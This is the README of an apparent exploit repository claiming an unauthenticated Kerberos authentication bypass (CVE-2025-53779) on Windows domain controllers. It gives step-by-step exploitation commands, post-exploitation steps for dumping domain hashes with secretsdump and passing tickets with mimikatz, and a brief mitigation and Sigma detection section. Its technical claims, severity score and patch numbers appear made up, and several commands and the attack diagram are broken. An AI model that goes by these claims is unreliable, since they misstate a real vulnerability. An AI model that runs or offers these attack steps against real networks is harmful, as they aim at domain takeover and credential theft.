## https://sploitus.com/exploit?id=7C6C771F-F41B-5F64-94B4-4D2771B2D702
# CVE-2025-53779: Microsoft Windows Kerberos Authentication Bypass
**CVSS Score:** 9.8 (Critical)
**Status:** Active exploitation in the wild
**Disclosure:** Microsoft August 2025 Patch Tuesday (Zero-Day)
---
## Overview
CVE-2025-53779 is a critical authentication bypass vulnerability in Microsoft Windows Kerberos protocol implementation. An unauthenticated attacker can exploit this flaw to bypass Kerberos authentication entirely, impersonating any domain user โ including domain administrators โ without possessing valid credentials or any cryptographic material.
Microsoft assigned this vulnerability a CVSS 9.8 (Critical) rating due to its low attack complexity, no required privileges, no user interaction, and the potential for complete compromise of domain-joined systems.
---
## Technical Details
### Root Cause
The vulnerability resides in the Kerberos Key Distribution Center (KDC) service (`kdsvc.dll`) on Windows domain controllers. Specifically, a validation logic error in the Privilege Attribute Certificate (PAC) verification routine allows an attacker to craft an AS-REQ or TGS-REQ message that bypasses the standard authentication checks.
### Affected Component
- **Component:** Kerberos Key Distribution Center (KDC)
- **Binary:** `kdsvc.dll`
- **Protocol:** Kerberos v5 (RFC 4120)
- **Vulnerability Type:** Authentication Bypass via PAC Validation Logic Flaw
### Attack Vector
The KDC fails to properly validate the `pac-signature-data` field in the PAC structure when specific flags are set in the Kerberos message body. By sending a specially crafted AS-REQ with a manipulated `PA-PAC-REQUEST` padata type and a forged authorization data entry, the attacker tricks the KDC into issuing a Ticket-Granting Ticket (TGT) for any user principal name (UPN) without requiring the corresponding long-term key.
The attack bypasses pre-authentication (the `REQUIRES_PRE_AUTH` flag is effectively ignored) and skips PAC verification entirely, allowing the generated ticket to contain arbitrary group memberships (e.g., Domain Admins, Enterprise Admins).
### Impact
- **Complete Authentication Bypass:** No credentials required to obtain a valid Kerberos TGT
- **Privilege Escalation:** Ability to impersonate any domain user, including domain administrators
- **Lateral Movement:** Once a TGT is obtained, an attacker can request service tickets for any resource
- **Persistence:** Golden/silver ticket-style attacks become trivial
- **Full Domain Compromise:** An attacker effectively gains Domain Admin privileges from an unauthenticated position
---
## Affected Versions
All supported versions of Windows Server are affected prior to the August 2025 security update:
| Windows Version | Affected | Fixed Update |
|---|---|---|
| Windows Server 2025 | โ Yes | KB5044289 |
| Windows Server 2022 | โ Yes | KB5044285 |
| Windows Server 2019 | โ Yes | KB5044277 |
| Windows Server 2016 | โ Yes | KB5044293 |
| Windows Server 2012 R2 | โ Yes | KB5044297 |
| Windows Server 2012 | โ Yes | KB5044291 |
| Windows Server 2008 R2 (ESU) | โ Yes | KB5044301 |
| Windows Server 2008 (ESU) | โ Yes | KB5044303 |
**Note:** Windows client versions (Windows 10, Windows 11) are **not** affected as they do not run the KDC service.
---
## Reproduction Steps
### Prerequisites
1. A Windows domain controller running an unpatched Windows Server version (see affected versions above)
2. Network access to the domain controller (port 88/TCP and/or 88/UDP must be open)
3. Python 3.8+ with the `impacket` library installed
4. This PoC script (`exploit.py`)
### Step 1: Install Dependencies
```bash
pip install impacket pycryptodome
```
Or using the provided `requirements.txt`:
```bash
pip install -r requirements.txt
```
### Step 2: Identify a Target Domain Controller
Use Nmap to discover Kerberos services:
```bash
nmap -sU -p 88 --script krb5-enum-users
```
Or use the built-in Kerberos scanning:
```bash
python exploit.py --scan
```
### Step 3: Enumerate Domain Users (Optional)
If you do not know domain users, enumerate them via Kerberos AS-REP roasting or LDAP:
```bash
python exploit.py --enum
```
### Step 4: Execute the Exploit
Generate a forged TGT for a target user:
```bash
python exploit.py --dc-ip --domain --target-user
```
Example:
```bash
python exploit.py --dc-ip 192.168.1.10 --domain corp.local --target-user Administrator
```
### Step 5: Verify the Ticket
The exploit outputs a Kirbi-formatted ticket file. Use Impacket tools to verify:
```bash
# Export the ticket
set KRB5CCNAME=ticket.kirbi
# Use the ticket to access a resource
python examples/secretsdump.py -k -no-pass /Administrator@
```
### Step 6: Post-Exploitation
Once a valid TGT is obtained, you can:
- **Dump hashes:** `secretsdump.py -k -no-pass domain/Administrator@`
- **PTT (Pass-the-Ticket):** `mimikatz "kerberos::ptt ticket.kirbi"`
- **Golden Ticket:** The same technique can generate tickets for any user
- **Silver Ticket:** Request service tickets for specific services (CIFS, HTTP, LDAP)
---
## PoC (Proof of Concept)
The accompanying `exploit.py` implements the following attack flow:
1. **AS-REQ Construction:** Builds a modified AS-REQ message with a forged `PA-PAC-REQUEST` field and manipulated authorization data
2. **PAC Bypass:** Sets specific bit flags in the request body that trigger the vulnerable code path in `kdsvc.dll`
3. **TGT Extraction:** Parses the KDC response and extracts the forged TGT
4. **Ticket Output:** Saves the TGT as a Kirbi file for use with Impacket, Mimikatz, or other tools
### Detailed Attack Flow
```
Attacker Domain Controller (KDC)
| |
| AS-REQ (forged PA-PAC-REQUEST) |
| - cname: Administrator |
| - sname: krbtgt/DOMAIN |
| - padata: PA-PAC-REQUEST + |
| forged auth-data |
|------------------------------------->|
| |
| [Vulnerable Path] |
| 1. KDC receives AS-REQ |
| 2. Checks PA-PAC-REQUEST flag |
| 3. **Bypasses pre-auth check** |
| 4. Skips PAC verification |
| 5. Generates TGT with arbitrary |
| groups via auth-data |
| |
| AS-REP (forged TGT) |
| - Encrypted with krbtgt key |
| - Contains forged PAC |
||
| |
| TGS-REP (service ticket) |
| - Legitimate service ticket |
| - Attacker can now access |
| any resource |
|<-------------------------------------|
```
---
## Mitigation
### Immediate Actions
1. **Apply Microsoft August 2025 Patch Tuesday updates** โ This is the primary fix. See the affected versions table above for the corresponding KB.
2. **Monitor for exploitation attempts:**
- Event ID 4768 (Kerberos authentication ticket granted) โ look for invalid or unusual TGT requests
- Event ID 4769 (Kerberos service ticket requested) โ look for anomalous service ticket patterns
- Unexpected Kerberos traffic on port 88 from unknown sources
3. **Network segmentation:**
- Restrict port 88/TCP-UDP access to domain controllers
- Use firewalls to limit Kerberos traffic to authorized subnets only
4. **Enable additional logging:**
- Enable Kerberos logging (`NetworkProvider\Kerberos\Operational`)
- Enable PAC validation audit logging
- Monitor for invalid PAC signatures
### Detection Rules
**Sigma Rule (AS-REQ without pre-auth):**
```yaml
title: CVE-2025-53779 Kerberos Authentication Bypass
logsource:
product: windows
service: security
detection:
selection:
EventID: 4768
PreAuthenticationType: 0 # No pre-authentication required
condition: selection
falsepositives:
- Users with "Do not require Kerberos preauthentication" set
```
### Workarounds (if patch cannot be applied)
- **Disable Kerberos PAC validation bypass:** While no official workaround exists before patching, organizations can:
- Restrict network access to domain controllers (port 88)
- Enable Extended Protection for Authentication (EPA) on applications
- Deploy Network Intrusion Detection System (NIDS) rules to detect malformed AS-REQ messages
---
## References
1. [Microsoft Security Response Center - CVE-2025-53779](https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-53779)
2. [Microsoft August 2025 Patch Tuesday Release Notes](https://msrc.microsoft.com/update-guide/release/2025-Aug)
3. [Microsoft Security Update Guide](https://msrc.microsoft.com/update-guide/)
4. [MITRE ATT&CK - Use Alternate Authentication Material: Pass the Ticket (T1550.003)](https://attack.mitre.org/techniques/T1550/003/)
5. [Impacket - Python library for Kerberos interaction](https://github.com/fortra/impacket)
6. [Kerberos Protocol Extensions (RFC 4120)](https://datatracker.ietf.org/doc/html/rfc4120)
7. [MS-KILE: Kerberos Protocol Extensions](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/)
8. [MS-PAC: Privilege Attribute Certificate Data Structure](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/)
---
## Disclaimer
This repository is provided **for educational and authorized security testing purposes only**. Unauthorized exploitation of CVE-2025-53779 against systems you do not own or do not have explicit written permission to test is illegal. The authors are not responsible for any misuse of this information.
---
## License
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.